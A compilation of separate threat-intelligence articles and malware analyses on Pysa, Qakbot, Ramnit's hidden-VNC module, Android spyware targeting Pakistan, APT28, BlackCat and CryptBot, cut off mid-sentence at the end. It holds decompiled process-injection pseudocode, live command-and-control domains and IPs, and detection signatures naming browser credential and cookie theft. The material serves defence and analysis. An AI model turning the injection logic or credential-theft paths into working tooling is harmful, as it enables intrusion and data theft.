located under "C:\windows\temp\svchost.exe", the same path as the Pysa ransomware. This suggests that these tools could have been used by the same intrusion set. The above binary is a Remote Access Tool written in Go language. A characteristic of this malware is the logging in plaintext in the file "%TEMP%\hlog.log". **Use of Empire** Several agents of the post-exploitation tool Empire were discovered, in particular on domain controllers of the compromised information systems. Although no technical links are established with the use of the Pysa ransomware, it is likely that these tools were used by the same intrusion set. ### 2.3 Comments The intrusion set observed in these attacks is consistent with an opportunistic actor driven by profit. The leveraged tactics, techniques and procedures are classic and not particularly evolved. The intrusion set performed some actions to avoid detection by security solutions, by disabling some of them. However, the purpose of these actions is more likely to allow the ransomware to be executed in good conditions rather than covering the tracks. The Python version of the ransomware is based on public libraries and its specific code is short. The observed elements suggest that this tool could have been developed quickly. Moreover, the use of three ransomwares in the same attack suggests that the intrusion set may have adapted to the characteristics of the targeted information systems. Finally, many publicly available post-exploitation tools were used during the attack. These elements are consistent with an opportunistic actor leveraging resources adapted to its final objective.
# Qakbot Analysis Qakbot or Qakbot is a sophisticated worm with banking capabilities. This malware family has been infecting computers since 2009, utilizing a number of techniques which make it difficult to detect. It has a packing layer, anti-VM techniques, anti-debug techniques, and anti-sandbox techniques which complicate the analysis of this threat. Qakbot is capable of updating itself, making it more complex to detect since it is constantly changing on disk. Using Triage, we analyzed the most recent variant of this malware and added a new module to support the detection and configuration extraction of Qakbot samples. A tool to deobfuscate the Qakbot payload is also included: `qakbuscator.py`. ## Unpacking Process Qakbot has a custom packer. There are probably other versions of Qakbot in the wild with different packers, but this section is based on analysis of the packer for the sample: `e736cf964b998e582fd2c191a0c9865814b632a315435f80798dd2a239a5e5f5`. In summary, the unpacking process is as follows: 1. The packer allocates memory and then drops an encrypted buffer. 2. The dropped buffer is decrypted, and the decrypted data contains a PE file. This PE file starts at offset `0x427`. From the beginning to the PE file offset is filled with `0x00` bytes. This could be a trick to make analysts think that this function is “freeing memory” or that it’s a memset-like function. 3. The PE header is modified, which can confuse analysts or memory dumping tools that look for PE file signatures since they can’t find the “MZ” magic number. The decrypted PE file image size is calculated to allocate memory for it. The PE file is copied from the decrypted buffer to the newly allocated memory. Once the file is mapped to the newly allocated memory, the header is fixed. Once the PE file is mapped, its entry point is called. This PE is going to read the rest of the previous decrypted buffer since there is still some encrypted data. Once the data is decrypted, a new PE file can be found. This time the header is also modified and fixed before mapping it. The decrypted PE is Qakbot itself. In this case, the PE header doesn’t have the well-known string “This program cannot be run in DOS mode” because the DOS-Stub was deleted. This PE file is the final payload of Qakbot, so finally, the PE file is mapped to the ImageBaseAddress of the original file. The original image loaded at address `0x400000` is wiped, and the newly unpacked PE (Qakbot) is copied to the original image base address `0x400000`. So, after mapping the Qakbot binary, the execution flow goes to the EntryPoint of this file. ### Unpacked Sample Hash The unpacked sample hash of the file we ran in Triage: `850ff92b7f3badda4bd4eca0a54fbdea410667db1ea27db8069337bf451078d1` ## Overview Once the sample is unpacked, Qakbot itself also implements an obfuscation layer in its code. This obfuscation makes the analysis a bit harder. The flow graph of the main function consists of adding unused loops with an empty body. The goal of these small loops is to make a less comprehensive flow graph and to make the analysis harder. There are more than 600 loops like this throughout the code. At Hatching, we implemented a tool `qakbuscator.py` to deobfuscate the code and make the analysis much easier. This tool is provided with this analysis to allow all researchers to use it. The DLLs that are in the Qakbot resources also have this obfuscation layer. ## Behavioral Analysis The sample used to perform the behavioral analysis is the deobfuscated sample using our deobfuscator tool. **Sample:** `3bd468d29868bb3f198530ef2426668efe30a8330bf3835a4f3a941d534ef2df` This is how a process tree of a Qakbot infection looks like: Regardless of the input vector, the first time Qakbot runs, it tries to install itself. ### Anti-VM/Anti-analysis Tricks First of all, it checks if it is running in a virtualized environment or not. Qakbot executes itself with the option `/C`. Qakbot admits parameters, in this case, the parameter `/C` is to make anti-VM and anti-sandbox checks like the following ones: - Reading from the virtual port in order to detect VMWare - Check the CPUID There are also other techniques used by Qakbot to know if it is running in an emulated environment, such as checking the sample name or checking running processes to detect any related to virtual environments, anti-virus, debuggers, etc. Among the different options that Qakbot accepts, we can find the following: | Accepted parameters | Description | |---------------------|-------------| | /C | Anti-VM checks | | /I [name] | Disable Windows SpyNey and delete scheduled task [name] | | /P [file] | Decrypt [file] and load it | | /Q | Set exit status to `0x6F` | | /T | Sync related stuff | | /V | Debug/Testing option | | /W | Debug/Testing option | | /i [name] | Install itself and delete scheduled task [name] | | /s | Create service | | /t | Send Window Message | | /A [1] [2] | Unknown | ## Installation If a VM is detected, it exits. Otherwise, it copies itself into `%APPDATA%` under a randomly generated folder with a randomly generated name. Those names are unique for each infected machine since they are created using some characteristics from the infected host. It also creates the following registry key in order to be run when the system reboots: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`. It drops a `.dat` file that has configuration information, like botnet name, timestamp, etc. This file contains encrypted data which is decrypted in memory during runtime. Once this file is decrypted, it looks like shown in the image below. The following table shows the meanings of some of these config values: | Qakbot Config | Value | |---------------|-------| | 11 | 2 (number of hardcoded C2) | | 1 | date of Qakbot install in HH:MM:ss-dd/mm/yyyy | | 2 | victim Qakbot install | | 45 | C2 IP | | 46 | C2 Port | | 39 | victim external IP | | 38 | last victim call to C2 (time in Unix) | | 43 | time of record (time in Unix) | | 5 | victim network shares | Finally, the copied file is executed, and the original file is overwritten with `calc.exe`. Some malware deletes the file directly, but Qakbot has decided to overwrite it with a legitimate binary to avoid leaving traces. When Qakbot is installed, its behavior is different. It creates an instance of the `explorer.exe` process in order to inject itself into it. Once injected into explorer, the main .dll is loaded. At this point, different things could happen since the communication with the control panel begins. The explorer process executes an update of Qakbot directly downloaded from the C&C. It can also exfiltrate data or infect browsers to obtain banking information from the victim system. ## Triage In Triage, we’ve just added support for this family, meaning you can detect Qakbot as well as get its configuration directly after the analysis. ## Samples **Sample state** | **SHA256** -----------------|------------------- Packed | `e736cf964b998e582fd2c191a0c9865814b632a315435f80798dd2a239a5e5f5` Qakbot | `850ff92b7f3badda4bd4eca0a54fbdea410667db1ea27db8069337bf451078d1` Deobfuscated | `3bd468d29868bb3f198530ef2426668efe30a8330bf3835a4f3a941d534ef2df` Qakbot | `83273809a35ba26c2fb30cba58ba437004483ae754babad63c5d168113efa430` resource 1 (main.dll) | `74f8907acfd070d2590895523433a8c85b5ef87f4e1a5ef7ccd356f5562b7a6b` Qakbot | `b7d9a462bd105193e998b6324f3343b84f11ceb21ab24e60e2580a26d95e4494` resource 2 (injects dll x86) | `8c7a43002ee6105fc37fcdfc00a192239639f7c08bf28e06ca1432551fe21b3f` resource 3 (injects dll x64) | Here is a list of related samples and their corresponding Triage reports. | SHA256 | Triage Report | |--------|---------------| | f614a06748251107a34fa7e44c7652fd88 | 1.bin | | e61fd958df724455e14ec88040abf9 | 2.bin | | 7d4d207fb5258f504d3f9ef60d431332d1 | 3.bin | | e7320d5849c0b0acf624612b01c8f0 | 4.bin | | 357b4979324e2065adc8e6bd11cd7161f8 | 5.bin | | 30250cae30f50fb13edd70fd2b506b | 6.bin | | 29754f0caa9576eba6b9c351d20549e7e1 | 7.bin | | 9216c6e72c2963da33450719a51277 | 8.bin | | 304a01a339d86ccbba7b1f671839624d44 | 9.bin | | 6e6ea86474912bf976837df779bad2 | 10.bin | | d2f8a61e8cfc9a6c983fc40d2b7ac33e2a | 11.bin | | 686872d0136dce2f66466c044f246c | 12.bin | | 2b9ef4a9f47402d171eec28acadf3753cb | 13.bin | | b33c9bc6ec26d99aa060127a470e95 | 14.bin | | eb17935cf972d90be92c9b39fff8b3d760 | 15.bin | | ecda78a6f602cb2b8bbaf3d87e6b61 | 16.bin | | 6b88260f4c4da4651a82bb62761cd23ee9 | 17.bin | | ad6662a2a0abbec017e7193668397b | 18.bin | | 256967605423fea1e00368078eea1cdb52 | 19.bin | | d391aa0091e0798db797ab337d1567 | 20.bin | | 13c2f4b6fb80500884a4ea9d2fe8077412 | 21.bin | | 4f46ebfd80de3e1dfcfb9e167aee08 | 22.bin |
# Let's Learn: Deeper Dive into Ramnit Banker "VNC IFSB" ## Remote Control Module **Goal:** Analyze Ramnit's hidden Virtual Network Computing (hVNC) remote control module focusing on its hidden desktop creation. **Source:** - Ramnit main loader (5ae2ad8f0be144ce732badf7dec0a16e) - hVNC module (5AE2AD8F0BE144CE732BADF7DEC0A16E) - Rig Exploit Kit landing (AS9123 TIMEWEB-AS 176.57.217.89) **Background:** While following the Rig Exploit Kit’s distribution of the Ramnit (demetra) banking malware via the Seamless gate, I decided to dive deeper into its “VNC ISFB” module that is most notable running as a thread inside “TRACERT.EXE,” a child process of Ramnit’s svchost.exe. By and large, Ramnit, which is also known as “demetra” in the underground, leverages the following modules: - Antivirus Trusted Module v2.0 (AVG, Avast, Nod32, Norton, Bitdefender) - XX'S - CookieGrabber - Cookie Grabber v0.2 (no mask) - FFCH - FF&Chrome reinstall x64-x86 [silent] - Hooker - IE & Chrome & FF injector - VNC IFSB - VNC IFSB x64-x86 HVNC allows criminals to bypass many anti-fraud measures by allowing compromised accounts to be accessed directly from the victim's machine. By using a VNC program, which allows for remote access to and control of a machine, Ramnit actors do not have to spoof or try to replicate a victim machine's data to avoid the account being flagged. HVNC allows actors to carry out these activities concurrent with regular user activity without being detected by operating in a hidden desktop. The DLL module contains the following three export ordinals: - **Ordinal**: 00000000, **Export Function**: PluginRegisterCallbacks - **Ordinal**: 00000002, **Export Function**: VncStartServer - **Ordinal**: 00000003, **Export Function**: VncStopServer Here is one of the most interesting sequences of hidden desktop calls with injection: Start -> init_modules function -> session_control_thread function -> VNC session communication function -> send VNC encode function -> VNC draw BitBlt function -> hidden Desktop initiation -> creation of hidden explorer.exe -> create_process_inject function -> AcInjectDll function (check x86/x64) hooking CreateProcess* -> map memory into the process and inject it with RunPE injection. ## Analysis: Ramnit’s VNC module leverages a set of programs using the Remote Frame Buffer (RFB) protocol hooking multiple API calls and leveraging ISFB AcDLL injection module. Not only was the whole Ramnit module pulled directly from the ISFB gang, but the module itself has strong source code similarities to the leaked Carberp one. The following pseudocoded C++ function demonstrates the location of the "explorer.exe" with the subsequent create process injection. ```cpp signed int __stdcall explorer_exe(int a1) { int v1; int v2; signed int result; CHAR *v4; CHAR *v5; int v6; char v7; int v8; DWORD v9; v1 = a1; v9 = 0; v6 = 0; memset(&v7, 0, 0x40u); v2 = GetSystemWindowsDirectoryA(0, 0); if (v2) { v4 = HeapAlloc(hHeap, 0, v2 + 15); v5 = v4; if (v4) { GetSystemWindowsDirectoryA(v4, v2); v5[v2] = 0; lstrcatA(v5, "\\explorer.exe"); v8 = v1 + 1488; v6 = 68; if (create_process_inject(v5, &v6, v1 + 12)) { // AcDLL injection CloseHandle(*(v1 + 16)); CloseHandle(*(v1 + 12)); } else { v9 = GetLastError(); } } else { v9 = 8; } result = v9; } else { result = -1; } return result; } ``` ## YARA RULE ```yara rule crime_win32_ramnit_vnc_module_in_memory { meta: description = "Detects Ramnit banking malware VNC module" author = "@VK_Intel" reference = "Detects Ramnit VNC" date = "2018-02-18" hash = "888b2c614567fb5b4474ddeeb453f8cd9f44d72efb325f7e3652fd0f748c08f1" strings: $s0 = "Failed mapping a section to the target process, status 0x%x" fullword ascii $s1 = "Unable to map the section into the target process, error %u" fullword ascii $s2 = "Unable to resolve target process import, error %u" fullword ascii $s3 = "No module found for the target process (%u) architecture" fullword ascii $s4 = "A section of %u bytes mapped to the target process at 0x%p" fullword ascii $s5 = "CreateProcessAsUserA %s->%s failed" fullword ascii $s6 = "Dep PsSupGetProcessModules, ModCount = %d " fullword ascii $s7 = "ActiveDll: PatchProcessMemory failed, error: %u" fullword ascii $s8 = "CreateProcessAsUserW %S->%S failed" fullword ascii $s9 = "AcInjectDll: GetOEP failed, error: %u" fullword ascii $s10 = "Shared section mapped at 0x%p. Starting within VNC session process." fullword ascii $s11 = "CreateToolhelp32Snapshot (of processes) failed err=%lu" fullword ascii condition: 11 of ($s*) } ```
# New Android Spyware Targets Users in Pakistan SophosLabs has discovered a small cluster of Trojanized versions of Android apps, mainly marketed to people who live in Pakistan. Someone has modified these otherwise legitimate apps (clean versions are available for download on the Google Play Store) to add malicious features that seem completely focused on covert surveillance and espionage. The modified apps look identical to their legitimate counterparts and even perform their normal functions, but are designed to initially profile the phone and then download a payload in the form of an Android Dalvik executable (DEX) file. The DEX payload contains most of the malicious features, which include the ability to covertly exfiltrate sensitive data like the user’s contact list and the full contents of SMS messages. The app then sends this information to one of a small number of command-and-control websites hosted on servers located in Eastern Europe. The selection of apps is highly peculiar, as they are neither the most popular nor particularly unique apps. There’s no indication that the publishers of the original apps are aware that these Trojanized versions even exist. The highest-profile app Trojanized in this way is the Pakistan Citizen Portal app, published by the government of Pakistan, but the Trojanized version never appeared in any legitimate market, as far as we know. We found several maliciously modified versions of the official Pakistan Citizen Portal app. Virustotal records indicated that at least one of the malware samples had been hosted at the website pmdu.info, a domain registered for the first time in early August of this year. A TLS certificate was issued to the site on August 9th. The site appears to be a very good mimicry of a Google Play Store page blended with elements from the real Pakistan Citizen Portal page hosted by the Pakistani government. The Pakistan Citizen Portal app was created in 2019 by a government agency called the PMDU, but its real website falls under the .gov.pk domain, hosted on its own territory. This site was hosted on the IP address 5.2.78.240, an IP address that geolocates to the Netherlands. The .info page has two buttons, labeled Google Play and Download App, but the source code for the site reveals that no matter which link you click, you get the same APK file hosted on the .info domain – the malicious version. While digging around for links to the .info version of the domain, we stumbled upon a reference to the domain hosting the malware in a surprising location: atop the page for an official Pakistani governmental department, the Trading Corporation of Pakistan (TCP). This banner appeared atop the TCP website for several weeks. The text of the domain name hosting the malicious Android app was prominently displayed in one of a series of rotating banners atop the web page for this division of the country’s Ministry of Commerce. The link was not clickable, as the entire thing is one large static image. Targets of the malware may have received links via SMS messages or email instructing them to download the app from the fake Pakistan Citizen Portal webpage. Why someone would then deface a web page to add the bogus domain is harder to understand. Complicating matters, on January 10, 2021, as we prepared to publish this story, the TCP webpage was replaced with just a single line of text: "Hacked by 9bandz." A cursory search for this name revealed at least 93 websites that have been identically defaced, their contents replaced with a similar message since October 2020. A user of a crimeware forum with the same name also posted an advertisement for “selling government web shells with full access to directories and files” in December. While there’s no evidence tying this action to the person who claimed the defacement, it’s hard to ignore the correlation. ## More Trojanized Apps In addition to the official Pakistan Citizen Portal app, we also found modified versions of a Muslim prayer-clock app called Pakistan Salat Time; an app used to price-compare mobile phone plans called Mobile Packages Pakistan; a utility that can check a phone’s SIM card for validity called Registered SIMs Checker; and a maliciously modified version of the app published by TPL Insurance, a company that describes itself as “the first insurance company in Pakistan to sell general insurance products directly to the consumer.” One anomalous app we could find no specific benign analogue of called itself Pakistan Chat. This app appears to leverage the API of an otherwise legitimate chat service called ChatGum and connects to a ChatGum server, but also conducts covert surveillance and exfiltration of data from the user’s phone. The malicious insurance app requires users to give the app virtually full control over any sensitive data stored on the device. The benign version of the app does not request the same permissions. The apps all feature, as their primary set of functions, code that appears to be focused on espionage and covert data exfiltration. When run, the apps initially send the device’s unique IMEI identifier and a timestamp along with a username and password combination to a command-and-control (C2) server by means of an HTTP POST request to the server. Immediately after submitting this information, the app retrieves a DEX payload, then begins in earnest to HTTP POST a series of data bursts. In most cases, the payload was named class.dex, but the Trojanized TPL Insurance app retrieves a payload named class_tpl.dex. After the app loads the DEX file payload, it begins a series of uploads of data to its C2. The malware sends detailed profile information about the phone, location information, the user’s full contact list, the contents of text messages, call logs, and the full directory listing of any internal or SD card storage on the device. We left the Pakistan Salat Time running on a test device for several days, but did not interact with the phone during that time. Four days after installing the app, when we unlocked the phone, the app began exfiltrating at a rapid pace, transmitting not only the contents of messages but every one of a directory full of screenshots created in the course of this research. The Pakistan Citizen Portal app prompts the user to enter their national ID credentials, such as their national identity card (CNIC) number, their passport details, and the username and password for Facebook and other accounts. In tests, this information was exfiltrated along with the rest. In each sample we ran, when we first installed the spyware, it hints at its intentions by requesting some fairly privacy-invasive permissions, such as the ability to read SMS messages and contact lists, that allow it to read the relevant data on a victim’s device. The Pakistan Salat Time app was caught exfiltrating the contents of SMS text messages and all the photos on the infected phone. While a few of these permissions might be appropriate under limited circumstances, depending on the app, the sheer number of them in apps that seemingly have no reason to ask for them may tip the threat actor’s hand and make it easier for an attentive user to notice the excessive permissions requests and cancel the installation. ## Under the Hood The AndroidManifest.xml file in an app declares things like the names of services and receivers. In these spyware apps, the manifest file listed several additional services and receivers that appear to reference a section of the malicious code that we couldn’t find. We suspect these might be reserved for features that have yet to be implemented. The service names “SoundRecordService” and “CallRecordService” seem to be in character with the espionage focus of the app. In the course of uploading the data from a phone, the malware received a JSON-format configuration in plain text that references these features. The spyware components take the form of one of two additional packages compiled into the final app. In the malicious apps, these are named com.android.volley or com.android.update. This may be an attempt to disguise the contents of the libraries; there’s a completely benign HTTP library package named com.android.volley made by Google and the presence of an Android update package comes across as completely innocuous unless you look under the hood. The creators of this app are fixated on concealment and stealth. Not only do they mimic legitimate apps and disguise their malicious code as legitimate libraries, but they also encrypt sensitive strings using AES and a hardcoded key. The strings include the command-and-control (C2) server addresses and the URL paths used by the spyware to exfiltrate data and request instructions. To remain stealthy, many of the samples contained minimal spying functionality initially. That comes later when the malware APK quietly downloads and runs a compiled .dex Android binary hosted on the C2 server. This .dex file contains most of the spying and exfiltration code the malware uses, which means this code doesn’t get swept up in initial scans of the apps. This downloadable .dex method also enables the author(s) to seamlessly update the functionalities in the spyware. In keeping with the stealthy theme, the spyware XORs most of the data it transmits back to the C2 server. Upon exfiltrating the collected data, the apps may display a dialog box or warning message that says something like “The system is under necessary maintenance, please try later.” The operators of this malicious network also registered domain names that seem to correlate with the apps they mimic. The Pakistan Chat app (as well as a few others) connect to the domain pakchat.online, hosted on a server in Latvia, while the fake TPL Insurance app uploads its stolen data to, and retrieves the DEX file from, the domain tplinsurance.xyz, hosted on a server in Bulgaria. The Pakistan Salat Time app, unusually, used a hostname from a dynamic DNS service, kv33.zapto.org, as its C2. That domain resolved to an IP address based in the USA. ## Watch Where You Get Your Apps This spyware is under active development. In the course of pursuing this research, SophosLabs also found what appeared to be test versions of the spyware, presumably used by the malware author(s) to test before they merged the code with clean apps. In the current Android ecosystem, apps are cryptographically signed as a way to certify the code originates with a legitimate source, tying the app to its developer. However, Android doesn’t do a good job exposing to the end user when a signed app’s certificate isn’t legitimate or doesn’t validate. As such, users have no easy way of knowing if an app was indeed published by its genuine developer. This allows threat actors to develop and publish fake versions of popular apps. The existence of a large number of app stores and the freedom of users to install an app from practically anywhere makes it even harder to combat such threats. To avoid falling prey to such malicious apps, users should only install apps from trusted sources such as Google Play. Developers of popular apps often have a website that directs users to the genuine app. Users should verify if the app was developed by its genuine developer. We also advise users to consider installing an antivirus app on their mobile device such as Sophos Intercept X for Mobile that defends their device and data from such threats. Sophos Intercept X for Mobile detects this spyware as Andr/Spy-BDD. SophosLabs has published indicators of compromise on its GitHub page.
# APT28: New Espionage Operations Target Military and Government Organizations Recent campaigns see APT28 group return to covert intelligence gathering operations in Europe and South America. After making headlines during 2016 due to its involvement in cyber attacks against an organization involved in the U.S. presidential election, APT28 (aka Swallowtail, Fancy Bear) has continued to mount operations during 2017 and 2018. The espionage group, which according to the U.S. Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI) is linked to the Russian government, returned to low-key intelligence-gathering operations during 2017 and into 2018, targeting a range of military and government targets in Europe and South America. ## History of Disruptive Attacks APT28 has been active since at least January 2007 but received public attention in a major way during 2016 when it was implicated in a series of cyber attacks in the run up to the U.S. presidential election. Beginning in the Spring of 2016, APT28 sent spear-phishing emails to political targets including members of the Democratic National Committee (DNC). These emails were designed to trick recipients into supposedly changing their email passwords on a fake webmail domain. The attack group then used these stolen credentials to gain access to the DNC network, install malware, move across the network, and steal data, including a trove of emails. The compromised information was later leaked online. These election attacks signaled a change of tactics on the part of APT28, moving away from their prior low-key intelligence gathering towards more overt activity, seemingly intended to destabilize and disrupt victim organizations and countries. The group was also responsible for the 2016 attack on the World Anti Doping Agency (WADA) and the leaking of confidential drug testing information. In keeping with its shift to more overt tactics, the group appeared to publicly take credit for the attack, leaking the information on a website using the name “Fancy Bears,” an industry codename that was already widely used for the group. ## Return to the Shadows After receiving an unprecedented amount of attention in 2016, APT28 has continued to mount operations during 2017 and 2018. However, the group’s activities since the beginning of 2017 have again become more covert and appear to be mainly motivated by intelligence gathering. The organizations targeted by APT28 during 2017 and 2018 include: - A well-known international organization - Military targets in Europe - Governments in Europe - A government of a South American country - An embassy belonging to an Eastern European country ## Ongoing Development of Tools APT28 uses a number of tools to compromise its targets. The group’s primary malware is Sofacy, which has two main components. Trojan.Sofacy (also known as Seduploader) performs basic reconnaissance on an infected computer and can download further malware. Backdoor.SofacyX (also known as X-Agent) is a second stage piece of malware, capable of stealing information from the infected computer. A Mac version of the Trojan also exists (OSX.Sofacy). APT28 has continued to develop its tools over the past two years. For example, Trojan.Shunnael (aka X-Tunnel), malware used to maintain access to infected networks using an encrypted tunnel, underwent a rewrite to .NET. In addition to this, the group has also begun using a UEFI (Unified Extensible Firmware Interface) rootkit known as Lojax. Because the rootkit resides within a computer’s flash memory, it allows the attackers to maintain a persistent presence on a compromised machine even if the hard drive is replaced or the operating system is reinstalled. Symantec products block attempts to install Lojax with the detection name Trojan.Lojax. ## Possible Links to Other Espionage Operations Another attack group, Earworm (aka Zebrocy), has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe, Central Asia, and Eastern Asia. The group uses spear-phishing emails to compromise its targets and infect them with malware. Earworm uses two malware tools. Trojan.Zekapab is a downloader component that is capable of carrying out basic reconnaissance functions and downloading additional malware to the infected computer. Backdoor.Zekapab is installed on selected infected computers and is capable of taking screenshots, executing files and commands, uploading and downloading files, performing registry and file system operations, and carrying out system information tasks. Earworm has also on occasion installed additional tools onto infected computers for the purposes of keylogging and password capture. During 2016, Symantec observed some overlap between the command and control (C&C) infrastructure used by Earworm and the C&C infrastructure used by Grizzly Steppe (the U.S. government code name for APT28 and related actors), implying a potential connection between Earworm and APT28. However, Earworm also appears to conduct separate operations from APT28 and thus Symantec tracks them as a distinct group. ## An Ongoing Threat It is now clear that after being implicated in the U.S. presidential election attacks in late 2016, APT28 was undeterred by the resulting publicity and continues to mount further attacks using its existing tools. After its foray into overt and disruptive attacks in 2016, the group has subsequently returned to its roots, mounting intelligence gathering operations against a range of targets. This ongoing activity and the fact that APT28 continues to refine its toolset means that the group will likely continue to pose a significant threat to nation state targets. ## Protection Symantec has had the following protections in place to protect customers against APT28 attacks: - Trojan.Sofacy - Backdoor.SofacyX - Infostealer.Sofacy - OSX.Sofacy - Trojan.Shunnael - Trojan.Lojax The following protections are in place to protect customers against Earworm attacks: - Trojan.Zekapab - Backdoor.Zekapab ## Threat Intelligence Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on the “Swallowtail” (also known as APT28), which detail methods of detecting and thwarting activities of this adversary. ## About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# BlackCat Ransomware Implicated in Attack on German Oil Companies German newspaper *Handelsblatt* reported that 233 gas stations across Germany have been affected by the incident. An internal report from the Federal Office for Information Security (BSI) stated that the BlackCat ransomware group was behind the recent cyberattack on two German oil companies, impacting hundreds of gas stations across northern Germany. *Handelsblatt* managed to obtain the internal report indicating that Oiltanking's systems were compromised by the BlackCat ransomware through a previously unknown gateway. Claudia Wagner, head of communications for Oiltanking GmbH, did not confirm that BlackCat was behind the attack but mentioned they discovered the initial cyber incident on Saturday, January 29th. "Upon learning of the incident, we immediately took steps to enhance the security of our systems and processes and launched an investigation into the matter. We are working to solve this issue according to our contingency plans, as well as to understand the full scope of the incident. We are undertaking a thorough investigation, together with external specialists and are collaborating closely with the relevant authorities. All terminals continue to operate safely." Oiltanking Deutschland GmbH & Co. KG terminals are operating with limited capacity and have declared force majeure. Mabanaft Deutschland GmbH & Co. KG has also declared force majeure for the majority of its inland supply activities in Germany. All parties continue to work to restore operations to normal in all terminals as soon as possible. On Tuesday, Royal Dutch Shell stated it was forced to reroute to different supply depots due to the issue. *Handelsblatt* reported that 233 gas stations across Germany now have to run some processes manually because of the attack. Last year, US oil giant Colonial Pipeline dealt with a devastating ransomware attack that crippled its business services and left significant parts of the East Coast without access to gas for less than a week. The Darkside ransomware group was eventually named as the culprit, and some experts believe the group has rebranded multiple times to evade law enforcement scrutiny. Emsisoft threat analyst Brett Callow noted links tying Darkside to another ransomware group, BlackMatter, which gained notoriety by attacking agricultural organizations. "It's likely that BlackCat -- or ALPHV -- is a rebrand of BlackMatter, which was itself a rebrand of Darkside," Callow said. "Intel suggests that the individuals behind the operation fired their devs after the blunder which cost them -- and their affiliates -- multiple millions. New devs were recruited and they were responsible for the development of BlackCat." Last week, Palo Alto Networks' Unit 42 released a deep dive into the BlackCat ransomware, which emerged in mid-November 2021 as an innovative ransomware-as-a-service (RaaS) group leveraging the Rust programming language and offering affiliates 80-90% of ransom payments. BlackCat has been seen targeting both Windows and Linux systems, with affiliates asking for ransom amounts of up to $14 million. In some instances, affiliates have offered discounts of $9 million if the ransom is paid before the established time. They allow ransom to be paid in Bitcoin and Monero. Unit 42 found that at least 16.7% of the group's victims were based in Germany. Last week, Italian fashion brand Moncler was revealed to be a BlackCat victim from December. The incident with Oiltanking follows another cyberattack on billion-dollar German logistics firm Hellmann Worldwide Logistics that took place in December. James Carder, chief security officer at LogRhythm, stated that the attack on Oiltanking exemplifies how cyberattacks can disrupt the larger supply chain. "In this case, the oil distributor supplies fuel to 26 companies in Germany, including Shell, which operates over 1,900 gas stations in the country," Carder said. "While the supply of fuel has not been affected in the attack, the impact remains consequential with IT systems responsible for the automation of tank loading and unloading processes, something that cannot be done manually, being forced offline for the time being. The 13 tank farms that Oiltanking operates cannot currently serve trucks, so the firm has turned to alternative methods. The economic impact of cyberattacks affecting the greater supply chain can prove to be extremely detrimental."
# CryptBot Infostealer: Malware Analysis We recently analyzed CryptBot, an infostealer detected by the ANY.RUN online malware sandbox. Through our research, we collected information about MITRE ATT&CK techniques used by this malware. We also learned about how this infostealer stores and encrypts its configuration information, and we wrote a Python script to extract the configuration. Let’s go over the whole process step-by-step. ## Brief description of CryptBot malware CryptBot is an infostealer targeting Windows operating systems that was first discovered in the wild in 2019. It is designed to steal sensitive information from infected computers, such as credentials for browsers, cryptocurrency wallets, browser cookies, credit card information, and screenshots of the infected system. It is distributed through phishing emails and cracked software. ## CryptBot dynamic analysis in a malware sandbox During the analysis, we’ll take a look at the sample: **MD5:** 12d20a973f8cd9c6373929ae14efe123 A single process is created when the malware starts, which actively uses the file system (15k+ events) and the registry (2k+ events). ### Credentials from password stores: credentials from web browsers (T1555.003) CryptBot steals information from popular browsers — Chrome, Firefox, and Edge, as the “Actions looks like stealing of personal data” indicator and “Reads browser cookies” indicators tell us. To detect access to personal data stored in the browser, we can use the pseudo-signature: ``` process_name NOT (“chrome.exe”, ”firefox.exe”, “msedge.exe”, “opera.exe”) AND file_access ( %LOCALAPPDATA%\\MICROSOFT\\EDGE\\USER DATA\\*, %APPDATA%\\Roaming\\Mozilla\\Firefox\\*, %LOCALAPPDATA%\\Local\\Google\\Chrome\\User Data\\*, %LOCALAPPDATA%\\AppData\\Local\\Opera Software\\Opera Stable\\* ) ``` ### Software discovery (T1518) CryptBot checks the presence of installed software in the system by going through the “Uninstall” registry tree. To detect an attempt to access the list of installed software, we can use a pseudo-signature: ``` reg_key is (“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall”) AND operation read ``` ### System information discovery (T1082) The malware collects system information, including operating system installation date, computer name, key, CPU information, and this behavior triggers the corresponding indicators. It is possible to detect the collection of system configuration information by accessing certain registry keys. For example, reading the system installation date can be detected by the following pseudo-signature: ``` reg_key is (“HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION”) AND reg_name is (“INSTALLDATE”) AND operation read ``` ### Application layer protocol: web protocols (T1071.001) CryptBot sends the collected OS information and personal data to the control server, which we can see in multiple connection attempts. We can detect attempts to connect to the C2 server with the following pseudo-signature: ``` network connect AND ( domains are (“sginiv12[.]top” or “bytcox01[.]top”) OR (ip == “23[.]217.138.108” and port==80) ) ``` Additionally, we investigated the content of the network stream and detected that the data is sent through the HTTP protocol, using a POST request with an attached file. Having restarted the malware several times we found that the file name is most likely randomly generated. However, the request is always sent to the “gate.php” page. Potentially malicious traffic is also detected in the results of the Suricata. Let’s create a pseudo-signature to detect CryptBot in the traffic: ``` network send AND http_verb is “POST” AND location is “gate.php” AND http_content includes (“form-data”, “name=\”files[]\””, “filename”) ``` ### Data staged: local data staging (T1074.001) 1. **Preventing re-runs** When we launch the malware for the first time in the “%APPDATA%” directory, an empty directory-marker “0D445946B53E9551” is created. This directory allows the malware to determine whether it has been launched before. If the CryptBot is restarted, it will stop working immediately. Let’s make a pseudo-signature to detect the creation of the marker directory: ``` action create_directory AND directory_name is (“^%APPDATA%\\[A-F0-9]{16}$”) ``` 2. **Storing collected data** Collected information is stored in temporary files in various formats (sqlite, binary, text) in the %TEMP% directory. For example, we see the content of one of the created temporary files, where information about the stolen logins and passwords is stored in Base64 format. Note that the data also includes a website to which each login-password pair corresponds. To detect the creation of temporary files with personal data, we can apply the following pseudo-signature: ``` process_name NOT (“chrome.exe”) AND file_create (“%TEMP\\*.tmp”) AND file_content includes ( *username*, *password* ) ``` ### Indicator removal: file deletion (T1070.004) When the malware is done running, it removes itself using CMD.EXE with a short delay to give the process time to finish and unblock the executable file. We can use the following pseudo-signature in the command line for detection: ``` process_name is (“cmd.exe”) AND command_line includes (“timeout”, “del”) ``` ## CryptBot dynamic analysis using a debugger ### Static packer check In general, it’s a best practice to check the file statically to figure out its type and if there’s a packer present, before 